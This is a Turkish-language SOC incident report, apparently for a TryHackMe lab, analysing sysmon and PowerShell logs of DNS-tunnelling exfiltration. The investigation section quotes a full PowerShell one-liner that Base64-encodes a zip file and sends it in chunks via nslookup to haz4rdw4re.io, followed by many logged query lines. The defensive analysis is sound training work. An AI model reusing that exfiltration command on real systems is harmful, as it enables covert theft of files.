



# **TryHackMe**

## **Phishing Unfolding**

**Hazırlayan:** Saliha Polat

**Tarih:** 01.03.2025

**A L T A Y**

**Olay Başlığı:** Şüpheli Parent-Child İşlemi

**Alert Türü:** 1027 Suspicious Parent Child Relationship

**Rapor Tarihi:** 01/03/2025

**Hassasiyet Seviyesi:** Yüksek

**Analist:** Saliha Polat

## 1. Özet (Summary)

1 Mart 2025 tarihinde saat 15.36' da win-3450 sistemi üzerinde **PowerShell** aracılığıyla **nslookup.exe** kullanılarak DNS protokolü üzerinden veri sızdırma girişimi tespit edilmiştir. Saldırgan, güvenlik politikalarını atlatmak için **ExecutionPolicy Bypass** komutunu kullanmış, ancak sızdırma gerçekleşmeden işlem durdurulmuştur.

## 2. Olay Açıklaması (Incident Description)

**Description:** A suspicious process with an uncommon parent-child relationship was detected in your environment.

**datasource:** sysmon

**timestamp:** 03/01/2025 19:39:00.673

**event.code:** 1

**host.name:** win-3450

**process.name:** nslookup.exe

**process.pid:** 5520

**process.parent.pid:** 3728

**process.parent.name:** powershell.exe

**process.command\_line:** "C:\Windows\system32\nslookup.exe"  
UEsDBBQAAAAIANigLIfVU3cDIgAAAI.haz4rdw4re.io

**process.working\_directory:** C:\Users\michael.ascot\downloads\exfiltration\

**event.action:** Process Create (rule: ProcessCreate)

## 3. Kapsam (Scope)

Etkilenen Kullanıcı: win-3450 user

Etkilenen Sistemler: win-3450

Potansiyel Veri Sızıntısı: Tespit Edilmedi (Sızdırma girişimi aşamasında durdurulmuş)

Ioc:

Domain: haz4rdw4re.io

Process: powershell.exe

Process: nslookup.exe

Path: C:\Users\michael.ascot\downloads\exfiltration\

File: exfilltem.zip

Command: Invoke-Expression

## 4. İnceleme (Investigation)

Time	Event
01/03/2025 19:39:34.000	<pre>[ - ] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3458 process.command_line: "C:\Windows\system32\nslookup.exe" UEsDBbQAAAAIANigLlFvU3cDlGAAAI.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 5520 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 03/01/2025 19:39:00.673 } Show as raw text host = 10.10.85.57:8989   source = eventcollector   sourcetype = _json</pre>
01/03/2025 19:39:20.000	<pre>[ - ] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3458 message: Pipeline execution details for command line: \$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfillt8me.zip")); \$base64 - split '(.{1,30})'   Where-Object { \$_ -ne '' }   ForEach-Object (Invoke-Expression "nslookup \$_.haz4rdw4re.io"). Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=435 UserId=55F\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193f0b89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=\$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfillt8me.zip")); \$base64 -split '(.{1,30})'   Where- Object { \$_ -ne '' }   ForEach-Object (Invoke-Expression "nslookup \$_.haz4rdw4re.io") Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup UEsDBbQAAAAIANigLlFvU3cDlGAAAI.haz4rdw4re.io" powershell.command.invocation.details.value: "Invoke-Expression", "nslookup UEsDBbQAAAAIANigLlFvU3cDlGAAAI.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block.text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 03/01/2025 19:39:00.673 winlog.process.pid: - } Show as raw text host = 10.10.85.57:8989   source = eventcollector   sourcetype = _json</pre>

0/94

Community Score

No security vendors flagged this domain as malicious

Reanalyze Similar More

uesdbbqaalaaanigllfvu3cdlgaal.haz4rdw4re.io

haz4rdw4re.io

dga

Last Analysis Date  
1 month ago

DETECTION

DETAILS

COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis

Do you want to automate checks?

Trustwave	Suspicious	Abusix	Clean
Acronis	Clean	ADMINUSLabs	Clean
AILabs (MONITORAPP)	Clean	AlienVault	Clean
alphaMountain.ai	Clean	Antiy-AVL	Clean
benkow.cc	Clean	BitDefender	Clean
Blueliv	Clean	Certego	Clean
Chong Lua Dao	Clean	CINS Army	Clean
CMC Threat Intelligence	Clean	CRDF	Clean

## 5. Bulgular (Findings)

Bu alert genellikle Command and Control (C2) veya Data Exfiltration saldırılarında görülüyor.

Powershell.exe üzerinden nslookup.exe çağırılmış olması şüpheli bir davranış.

Komut satırındaki .io uzantılı UEsDBBQAAAAIANigLlfVU3cDIgAAAI.haz4rdw4re.io domain adresi tahminen bir C2 server.

Domain adresindeki UEsDBBQAAAAIANigLlfVU3cDIgAAAI alanı şüpheli Base64 veya ZIP encoded data olabilir.

## 6. Sonuç (Conclusion)

Bir kullanıcı hesabı (**michael.ascot**) tarafından çalıştırılan **PowerShell** üzerinden **nslookup.exe** kullanılarak DNS protokolü aracılığıyla veri sızdırma girişimi tespit edilmiştir.

PowerShell komutunda **ExecutionPolicy Bypass** parametresi ile güvenlik önlemleri atlatılmış, Base64 ile encode edilmiş bir dosya (**exfillitem.zip**) DNS sorgusu şeklinde şüpheli bir alan adına (**haz4rdw4re.io**) gönderilmeye çalışılmıştır.

Olay, Data Exfiltration ve Defense Evasion teknikleri kapsamında değerlendirilmiş olup, yüksek riskli bir saldırı girişimi olarak sınıflandırılmıştır.

True positive alert olarak işaretlenmiştir.

## 7. Aksiyonlar (Actions Taken)

- SIEM' de gelen alerte dair veriler incelendi.
- Alınan verilerle kaynaklardan taramalar yapıldı. (Splunk, VirusTotal vb.)
- Alert true positive olarak işaretlenerek kapatıldı.
- Yöneticiye iletili.

## 8. Kaynakça (References)

- SIEM Log Kayıtları
- VirusTotal Taraması

---

**PowerShell** aracılığıyla **nslookup.exe** kullanılarak DNS protokolü üzerinden veri sızdırma girişimi tespit edilmiştir. Saldırgan, güvenlik politikalarını atlatmak için **ExecutionPolicy Bypass** komutunu kullanmış, ancak sızdırma gerçekleşmeden işlem durdurulmuştur.

**Olay Başlığı:** Şüpheli Parent-Child İşlemi

**Alert Türü:** 1028 - 1036 Suspicious Parent Child Relationship

**Rapor Tarihi:** 01/03/2025 19:39:00.673

**Host Adı:** win-3450

**Hassasiyet Seviyesi:** Yüksek

## 1. Özet (Summary)

1 Mart 2025 tarihinde saat 15.36' da win-3450 sistemi üzerinde şüpheli aktivite **PowerShell** tarafından başlatılan **nslookup.exe** işlemleriyle ilgilidir. Normalde **nslookup.exe** DNS sorguları yapmak için kullanılan bir sistem aracıdır. Ancak burada sıra dışı olan durum, **PowerShell'in parent process** olarak bu işlemi başlatmasıdır.

## 2. Olay Açıklaması (Incident Description)

**Olay Başlığı:** Şüpheli Parent-Child İşlemi

**Alert Türü:** 1028 Suspicious Parent Child Relationship

**Rapor Tarihi:** 01/03/2025 19:39:00.673

**Hassasiyet Seviyesi:** Yüksek

## Olay Açıklaması (Incident Description)

**Description:** A suspicious process with an uncommon parent-child relationship was detected in your environment.

**datasource:** sysmon

**timestamp:** 03/01/2025 19:39:00.673

**event.code:** 1

**host.name:** win-3450

**process.name:** nslookup.exe

**process.pid:** 3952

**process.parent.pid:** 3728

**process.parent.name:** powershell.exe

**process.command\_line:** "C:\Windows\system32\nslookup.exe"  
8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.io

**process.working\_directory:** C:\Users\michael.ascot\downloads\exfiltration\

**event.action:** Process Create (rule: ProcessCreate)

**Olay Başlığı:** Şüpheli Parent-Child İşlemi

**Alert Türü:** 1029 Suspicious Parent Child Relationship

**Rapor Tarihi:** 03/01/2025 19:39:00.673

**Hassasiyet Seviyesi:** Yüksek

### **Olay Açıklaması (Incident Description)**

**Description:** A suspicious process with an uncommon parent-child relationship was detected in your environment.

**datasource:** sysmon

**timestamp:** 03/01/2025 19:39:00.673

**event.code:** 1

**host.name:** win-3450

**process.name:** nslookup.exe

**process.pid:** 5432

**process.parent.pid:** 3728

**process.parent.name:** powershell.exe

**process.command\_line:**"C:\Windows\system32\nslookup.exe"  
U3VtbWFyeS54bHN4c87JTM0rCcgvKk.haz4rdw4re.io

**process.working\_directory:** C:\Users\michael.ascot\downloads\exfiltration\

**event.action:** Process Create (rule: ProcessCreate)

**Olay Başlığı:** Şüpheli Parent-Child İşlemi

**Alert Türü:** 1030 Suspicious Parent Child Relationship

**Rapor Tarihi:** 03/01/2025 19:39:00.673

**Hassasiyet Seviyesi:** Yüksek

### **Olay Açıklaması (Incident Description)**

**Description:** A suspicious process with an uncommon parent-child relationship was detected in your environment.

**datasource:** sysmon

**timestamp:** 03/01/2025 19:39:00.673

**event.code:** 1

**host.name:** win-3450

**process.name:** nslookup.exe

**process.pid:** 5432

**process.parent.pid:** 3728

**process.parent.name:** powershell.exe

**process.command\_line:** "C:\Windows\system32\nslookup.exe"  
nLz8nMDy7NzU0sqtSryCmu4OVyprsk.haz4rdw4re.io

**process.working\_directory:** C:\Users\michael.ascot\downloads\exfiltration\

**event.action:** Process Create (rule: ProcessCreate)

**Olay Başlığı:** Şüpheli Parent-Child İşlemi

**Alert Türü:** 1031 Suspicious Parent Child Relationship

**Rapor Tarihi:** 03/01/2025 19:39:00.673

**Hassasiyet Seviyesi:** Yüksek

### **Olay Açıklaması (Incident Description)**

**Description:** A suspicious process with an uncommon parent-child relationship was detected in your environment.

**datasource:** sysmon

**timestamp:** 03/01/2025 19:39:00.673

**event.code:** 1

**host.name:** win-3450

**process.name:** nslookup.exe

**process.pid:** 6604

**process.parent.pid:** 3728

**process.parent.name:** powershell.exe

**process.command\_line:**"C:\Windows\system32\nslookup.exe"  
AFBLAwQUAAACAC9oC5XHhIO5R8AAA.haz4rdw4re.io

**process.working\_directory:** C:\Users\michael.ascot\downloads\exfiltration\

**event.action:** Process Create (rule: ProcessCreate)

**Olay Başlığı:** Şüpheli Parent-Child İşlemi

**Alert Türü:** 1032 Suspicious Parent Child Relationship

**Rapor Tarihi:** 03/01/2025 19:39:00.673

**Hassasiyet Seviyesi:** Yüksek

#### **Olay Açıklaması (Incident Description)**

**Description:** A suspicious process with an uncommon parent-child relationship was detected in your environment.

**datasource:** sysmon

**timestamp:** 03/01/2025 19:39:00.673

**event.code:** 1

**host.name:** win-3450

**process.name:** nslookup.exe

**process.pid:** 5704

**process.parent.pid:** 3728

**process.parent.name:** powershell.exe

**process.command\_line:**"C:\Windows\system32\nslookup.exe"  
AdAAAAHQAAAEIudmVzdG9yUHJlc2Vu.haz4rdw4re.io

**process.working\_directory:** C:\Users\michael.ascot\downloads\exfiltration\

**event.action:** Process Create (rule: ProcessCreate)

**Olay Başlığı:** Şüpheli Parent-Child İşlemi

**Alert Türü:** 1033 Suspicious Parent Child Relationship

**Rapor Tarihi:** 03/01/2025 19:39:00.673



**Hassasiyet Seviyesi:** Yüksek

### **Olay Açıklaması (Incident Description)**

**Description:** A suspicious process with an uncommon parent-child relationship was detected in your environment.

**datasource:** sysmon

**timestamp:** 03/01/2025 19:39:00.673

**event.code:** 1

**host.name:** win-3450

**process.name:** nslookup.exe

**process.pid:** 5696

**process.parent.pid:** 3728

**process.parent.name:** powershell.exe

**process.command\_line:** "C:\Windows\system32\nslookup.exe"  
dGF0aW9uMjAyMy5wcHR488wrSy0uyS.haz4rdw4re.io

**process.working\_directory:** C:\Users\michael.ascot\downloads\exfiltration\

**event.action:** Process Create (rule: ProcessCreate)

**Olay Başlığı:** Şüpheli Parent-Child İşlemi

**Alert Türü:** 1034 Suspicious Parent Child Relationship

**Rapor Tarihi:** 03/01/2025 19:39:00.673

**Hassasiyet Seviyesi:** Yüksek

### **Olay Açıklaması (Incident Description)**

**Description:** A suspicious process with an uncommon parent-child relationship was detected in your environment.

**datasource:** sysmon

**timestamp:** 03/01/2025 19:39:00.673

**event.code:** 1

**host.name:** win-3450

**process.name:** nslookup.exe

**process.pid:** 4752

**process.parent.pid:** 3728

**process.parent.name:** powershell.exe

**process.command\_line:** "C:\Windows\system32\nslookup.exe"  
8KKEotTs0rSSzJzM8zMjAy1isoKKkA.haz4rdw4re.io

**process.working\_directory:** C:\Users\michael.ascot\downloads\exfiltration\

**event.action:** Process Create (rule: ProcessCreate)

**Olay Başlığı:** Şüpheli Parent-Child İşlemi

**Alert Türü:** 1035 Suspicious Parent Child Relationship

**Rapor Tarihi:** 03/01/2025 19:39:00.673

**Hassasiyet Seviyesi:** Yüksek

### **Olay Açıklaması (Incident Description)**

**Description:** A suspicious process with an uncommon parent-child relationship was detected in your environment.

**datasource:** sysmon

**timestamp:** 03/01/2025 19:39:00.673

**event.code:** 1

**host.name:** win-3450

**process.name:** nslookup.exe

**process.pid:** 3700

**process.parent.pid:** 3728

**process.parent.name:** powershell.exe

**process.command\_line:** "C:\Windows\system32\nslookup.exe"  
VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm.haz4rdw4re.io

**process.working\_directory:** C:\Users\michael.ascot\downloads\exfiltration\

**event.action:** Process Create (rule: ProcessCreate)

**Olay Başlığı:** Şüpheli Parent-Child İşlemi

**Alert Türü:** 1036 Suspicious Parent Child Relationship

**Rapor Tarihi:** 03/01/2025 19:39:00.673

**Hassasiyet Seviyesi:** Yüksek

### **Olay Açıklaması (Incident Description)**

**Description:** A suspicious process with an uncommon parent-child relationship was detected in your environment.

**datasource:** sysmon

**timestamp:** 03/01/2025 19:39:00.673

**event.code:** 1

**host.name:** win-3450

**process.name:** nslookup.exe

**process.pid:** 3648

**process.parent.pid:** 3728

**process.parent.name:** powershell.exe

**process.command\_line:** "C:\Windows\system32\nslookup.exe"  
RmYjEyNGZiMTY1NjZlZlQ==.haz4rdw4re.io

**process.working\_directory:** C:\Users\michael.ascot\downloads\exfiltration\

**event.action:** Process Create (rule: ProcessCreate)

**Analist:** Saliha Polat

### **3. Kapsam (Scope)**

Etkilenen Kullanıcı: win-3450 user

Etkilenen Sistemler: win-3450

Potansiyel Veri Sızıntısı: Tespit Edilmedi (Sızdırma girişimi aşamasında durdurulmuş)

Ioc:

Domain: haz4rdw4re.io

Process: powershell.exe

Process: nslookup.exe

Path: C:\Users\michael.ascot\downloads\exfiltration\

File: exfilltem.zip

Command: Invoke-Expression

#### 4. İnceleme (Investigation)

Olaylarda saldırganların DNS Tunneling yöntemi ile veri sızdırmaya çalıştığını göstermektedir. Saldırganlar, Base64 ile şifrelenmiş dosyaları nslookup.exe üzerinden DNS isteklerine gömerek uzak bir C2 sunucusuna (haz4rdw4re.io) göndermeye çalışmış.

#### 5. Bulgular (Findings)

**PowerShell** tarafından **nslookup.exe** arka arkaya birden fazla kez çalıştırılmış.

Process komut satırında şüpheli DNS alan adı (**haz4rdw4re.io**) sorgulanmış.

Komut satırında yer alan stringlerin çoğu **Base64** formatında şifrelenmiş veri içeriyor.

#### 6. Sonuç (Conclusion)

Saldırgan, veri sızdırmak için **DNS Tunneling** tekniğini kullanarak PowerShell komutları aracılığıyla Base64 ile şifrelenmiş verileri uzak bir alan adına göndermeye çalışmıştır. Birden fazla tekrar eden olay, **otomatik bir veri sızdırma scriptinin** çalıştırıldığını gösteriyor.

True positive alert olarak işaretlenmiştir.

#### 7. Aksiyonlar (Actions Taken)

- SIEM' de gelen alerte dair veriler incelendi.
- Alınan verilerle kaynaklardan taramalar yapıldı. (Splunk, VirusTotal vb.)
- Alert true positive olarak işaretlenerek kapatıldı.
- Yöneticiye iletili.

#### 8. Kaynakça (References)

- SIEM Log Kayıtları
  - VirusTotal Taraması
-